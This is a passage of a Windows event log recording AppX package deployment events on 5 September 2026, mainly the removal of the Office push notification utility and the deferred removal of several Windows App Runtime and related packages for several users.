Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.233\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_6.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.272\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_7.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.276\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.276\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1002.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.288\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_8.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.316\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_9.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.320\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_10.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.339\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.386\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.390\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.395\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_11.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.397\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.397\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.399\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.402\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_12.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.420\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.420\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.425\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.427\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_13.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.429\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.430\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.431\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.435\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_14.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.436\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.438\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.460\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.461\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.471\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.472\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_15.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.473\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.475\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.478\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.480\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_16.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.482\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1001.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.487\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.519\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.522\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1001.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.548\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.549\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.551\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.577\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.580\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.580\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.583\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.585\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.586\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_17.rslc for Remove Operation on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.589\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.594\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_18.rslc for Remove Operation on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.596\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.600\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.601\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.601\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_19.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.603\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.603\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.605\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.608\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_20.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.609\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1007.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.616\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.629\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.673\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.677\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.692\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.694\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.696\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.712\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.713\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.729\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.733\t607\tDeployment Remove operation on package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.735\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.735\t627\tWindows cannot remove Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.735\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1007.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.753\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.756\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.770\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.772\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.775\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.785\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.787\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.800\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.802\t607\tDeployment Remove operation on package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.803\t627\tWindows cannot remove Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.819\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.821\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.842\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.844\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.846\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.865\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.867\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.883\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.893\t400\tDeployment Remove operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.914\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.917\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.924\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_21.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.927\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID 